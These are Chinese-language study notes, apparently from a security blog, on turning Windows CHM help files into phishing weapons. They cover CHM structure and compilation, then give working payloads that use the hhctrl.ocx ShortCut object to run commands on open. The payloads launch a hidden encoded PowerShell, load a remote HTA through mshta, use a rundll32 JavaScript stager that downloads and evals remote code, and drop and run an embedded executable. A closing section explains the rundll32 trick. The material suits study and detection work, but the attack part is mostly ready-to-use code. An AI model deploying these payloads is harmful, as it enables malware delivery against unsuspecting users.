chm-study-notes 0x00 CHM结构 chm文件由一系列html文件编译在一起,形成帮助文档,主要依靠一些配置文件来组织CHM的文件结构。
1. HTML help project (.hhp)配置文件。可以将它理解为CHM的配置文件,里面包含了首页和默认页、要打包的文件等信息。例子:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 [OPTIONS] Compatibility=1.1 or later Compiled file=PocCalc.chm Contents file=Table of Contents.hhc Index file=Index.hhk Default topic=poc.html Title=PocCalc Display compile progress=No Language=0x410 Italian (Italy) Full-text search=Yes [FILES] poc.html Test7Z1.exe [INFOTYPES]
2. html源码文件。存储CHM当中的文本内容,管理组织图片, 按钮,快捷方式等呈现方式。攻击者一般会通过ShortCut
的方式添加执行的恶意命令,在Item1的Value参数中指定运行的进程和参数。例如,用ShortCut
来通过cmd来打开计算器:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <!DOCTYPE html > <html > <head > <title > calc poc</title > <head > </head > <body > command exec <OBJECT id =x classid ="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width =1 height =1 > <PARAM name ="Command" value ="ShortCut" > <PARAM name ="Button" value ="Bitmap::shortcut" > <PARAM name ="Item1" value =',cmd /c, Calc' > <PARAM name ="Item2" value ="273,1,1" > </OBJECT > <SCRIPT > x.Click();</SCRIPT > </body > </html >
3. hhk索引页面地图。html格式的文件,用于保存CHM中关键字索引目录 的内容。在<BODY>
标签中以列举所有需要嵌入到chm文件中的附件文件对象,对象包含对象名Name和编译对象所在路径Local两个参数,设置的对象会在编译的时候编译到chm文件中。该文件在编译CHM文件过程中可忽略。示例如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML//EN" > <HTML > <HEAD > <meta name ="GENERATOR" content ="Microsoft® HTML Help Workshop 4.1" > </HEAD > <BODY > <UL > <LI > <OBJECT type ="text/sitemap" > <param name ="Name" value ="Hello" > <param name ="Local" value ="poc.html" > </OBJECT > <LI > <OBJECT type ="text/sitemap" > <param name ="Name" value ="World" > <param name ="Local" value ="poc.html" > </OBJECT > </UL > </BODY > </HTML >
4. hhc目录页面地图。用于保存CHM中目录页面索引的内容,在hhc文件中,用<UL>
和<LI>
两个标签定义了带有层级关系中列表,并在其中以<OBJECT>
的形式嵌入了html页面对象。利用列表的层级关系,构造了最终chm文件的层级关系。(没看懂和3的区别 )示例如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML//EN" > <HTML > <HEAD > <meta name ="GENERATOR" content ="Microsoft® HTML Help Workshop 4.1" > </HEAD > <BODY > <OBJECT type ="text/site properties" > <param name ="ImageType" value ="Folder" > </OBJECT > <UL > <LI > <OBJECT type ="text/sitemap" > <param name ="Name" value ="Test" > <param name ="Local" value ="poc.html" > <param name ="ImageNumber" value ="1" > </OBJECT > </UL > </BODY > </HTML >
0x01 CHM的编译与反编译。 1 2 hhc.exe <目标hhp文件> // 编译 hh.exe -decompile <输出路径> <目标chm文件> // 反编译
0x02 CHM攻击方式 参考的博客:
https://atsud0.me/2022/01/13/%E3%80%90%E9%92%93%E9%B1%BC%E4%BB%8E%E5%85%A5%E9%97%A8%E5%88%B0%E6%94%BE%E5%BC%83%E3%80%91-CHM%E6%96%87%E4%BB%B6%E7%AC%94%E8%AE%B0/
0x2.1 hhctrl.ocx对象命令执行 补充: hhctrl.ocx是Microsoft帮助文档界面相关文件。
都是使用ShortCut
函数实现的命令执行。
powershell 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <!DOCTYPE html > <html > <head > <title > calc poc</title > <head > </head > <body > command exec <OBJECT id =x classid ="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width =1 height =1 > <PARAM name ="Command" value ="ShortCut" > <PARAM name ="Button" value ="Bitmap::shortcut" > <PARAM name ="Item1" value =',powershell.exe, -nop -w hidden -e BASE64编码的字段' > <PARAM name ="Item2" value ="273,1,1" > </OBJECT > <SCRIPT > x.Click();</SCRIPT > </body > </html >
hta hta是HTML应用程序,直接将HTML保存成HTA的格式,就是一个独立的应用软件。该程序的源代码包括不止一种脚本语言,可以包括例如HTML和JavaScript。mshta可以执行.hta文件。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <!DOCTYPE html > <html > <head > <title > calc poc</title > <head > </head > <body > command exec <OBJECT id =x classid ="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width =1 height =1 > <PARAM name ="Command" value ="ShortCut" > <PARAM name ="Button" value ="Bitmap::shortcut" > <PARAM name ="Item1" value =',mshta, http://x.x.x.x/loader.hta' > <PARAM name ="Item2" value ="273,1,1" > </OBJECT > <SCRIPT > x.Click();</SCRIPT > </body > </html >
rundll32运行JS ActiveXObject可以启用和返回对自动化对象的引用。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <!DOCTYPE html > <html > <head > <title > calc poc</title > <head > </head > <body > command exec <OBJECT id =x classid ="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width =1 height =1 > <PARAM name ="Command" value ="ShortCut" > <PARAM name ="Button" value ="Bitmap::shortcut" > <PARAM name ="Item1" value =',rundll32.exe, javascript:"\..\mshtml,RunHTMLApplication "; document.write(); h=new ActiveXObject("WinHttp.WinHttpRequest.5.1"); h.Open("GET","http://xx.xx.xx.xx",false); try{ h.Send(); b=h.ResponseText; eval(b); }catch(e){ new ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true); }>' <PARAM name ="Item2" value ="273,1,1" > </OBJECT > <SCRIPT > x.Click();</SCRIPT > </body > </html >
为啥呢?看以下代码,在cmd窗口下运行就能弹窗。(具体原因见0x03)
1 rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";alert('foo');
0x2.2 释放文件并执行 以下都是将CHM压缩的文件释放到本地指定目录后,再执行。
hh释放文件Example 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 <p id ="t0" > Hello World!</p > <SCRIPT > function getPath(){ var pathName = document.location.pathname; var index0 = pathName.substr(1).indexOf(":"); var index1 = pathName.substr(1).lastIndexOf(":"); var result = pathName.substr(index0+2,index1-index0-2); return result; } function isHasFile(){ var a,s='C:\\Windows\\Temp\\Downloads\\Test7Z1.exe'; a = new ActiveXObject("Scripting.FileSystemObject"); if(a.FileExists(s)) AUTO.Click(); } var dir = getPath(); // ``为模板字符串,即输入啥样,输出啥样 var commodStr = ` <OBJECT id =unrar classid ="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width =1 height =1 > <PARAM name ="Command" value ="ShortCut" > <PARAM name ="Button" value ="Bitmap::shortcut" > <PARAM name ="Item1" value =",hh, -decompile C:\\Windows\\Temp\\Downloads\\ ` + dir + ` " > </OBJECT > <OBJECT id =AUTO classid ="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width =1 height =1 > <PARAM name ="Command" value ="ShortCut" > <PARAM name ="Button" value ="Bitmap::shortcut" > <PARAM name ="Item1" value =",C:\\Windows\\Temp\\Downloads\\Test7Z1.exe" > <PARAM name ="Item2" value ="273,1,1" > </OBJECT > `; document.getElementById('t0').innerHTML = commodStr; unrar.Click(); isHasFile(); </SCRIPT >
0x03 为什么rundll32.exe能执行js代码 Rundll32的作用是执行DLL文件中的内部函数。命令行格式如下:
1 RUNDLL32.EXE <dllname>,<entrypoint> <optional arguments>
EntryPoint就是要执行的内部函数,他的原型如下:
1 void CALLBACK EntryPoint(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow);
经过分析,Rundll32首先要调用ParseCommand函数把传进来的参数分割,函数会搜索逗号(‘,’, 0x2C)来定位dllname,搜索空格(‘ ‘, 0x20)来定位entrypoint。
当输入:rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";alert('foo');
时,ParseCommand将dllname=javascript:"\..\mshtml
,entrypoint=RunHTMLApplication
。
之后,Rundll32会试图读取名称为javascript:"\..\mshtml
的DLL。
1 2 3 4 5 1. 首先,系统尝试调用GetFileAttributes("javascript:"\..\mshtml")读取文件,最终会访问到C:\Windows\system32\mshtml(cmd的路径为C:\Windows\system32),但是文件不存在,所以函数返回-1。(为啥?试一试就知道了,见附录1) 2. 然后,系统调用SearchPath来寻找DLL名称。SearchPath会读取注册表中HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\SafeProcessSearchMode的键值,来决定先搜索当前工作目录,还是先搜索系统路径。 3. 如果还查不到,系统就会再次使用GetFileAttributes,来查找C:\Windows\system32\mshtml.manifest。 3. 很显然,都搜索不到。最终,Rundll32会调用LoadLibrary函数,它会调用LoadLibrary("javascript:"..\mshtml.dll"),并将其作为dll来加载,因此,他想找上一级目录的mshtml.dll,这是可以找到的。 4. Rundll32 调用 mshtml.dll!RunHTMLApplication 函数。
RunHTMLApplication函数原型是这样的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 HRESULT RunHTMLApplication ( HINSTANCE hinst, HINSTANCE hPrevInst, LPSTR szCmdLine, int nCmdShow ) ;void CALLBACK EntryPoint ( HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow ) ;
我们主要关心的参数是第 3 个参数 lpszCmdLine,这里传入的应该是";alert('foo')
。很明显,这不是一个合法的JavaScript语句(末尾缺失双引号)。但本例中却是有效的,因为RunHTMLApplication会忽略该参数,而调用API GetCommandLine(包装在GetCmdLine函数中)来获取参数。 如下图所示:
完整的命令行包含可执行文件的名字和参数,GetCmdLine会去掉可自行文件名,提取出参数:(这里不理解的一点是,为啥GetCmdLine会重新解析rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";alert('foo');
)
然后,RunHTMLApplication 会调用CreateUrlMoniker(为啥?上图汇编中没有体现啊? )。CreateUrlMoniker解析命令行并提取出”:”之前的字符串,即javascript
:
之后,CreateUrlMoniker会读取注册表HKCR\SOFTWARE\Classes\PROTOCOLS\Handler\ 中的值,其中存储了协议和其对应的CLSID(class identifier(类标识符)也称为CLASSID或CLSID,是与某一个类对象相联系的唯一标记(UUID)。一个准备创建多个对象的类对象应将其CLSID注册到系统注册数据库的任务表中,以使客户能够定位并装载与该对象有关的可执行代码 )。CreateUrlMoniker会为JavaScript寻找合适的协议处理器。
之后,javascript会解析:"..\mshtml,RunHTMLApplication ";alert('foo');
。
这是一段合法的JavaScript,包含一个字符串"..\mshtml,RunHTMLApplication"
(包括之前被忽略过的双引号)和一个函数(alert)。
0x04 附录1 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 #include <windows.h> #include <stdio.h> int main () { const char *filePath = "javascript:\"\\..\\easyCpp.cpp" ; DWORD fileAttributes = GetFileAttributesA(filePath); if (fileAttributes != INVALID_FILE_ATTRIBUTES) { printf ("File attributes: 0x%x\n" , fileAttributes); } else { printf ("GetFileAttributesA failed with error code %d\n" , GetLastError()); } return 0 ; }
getFileAttr
与easyCpp.cpp
在同一个目录下,函数输出File attributes: 0x20
,说明确实能找到。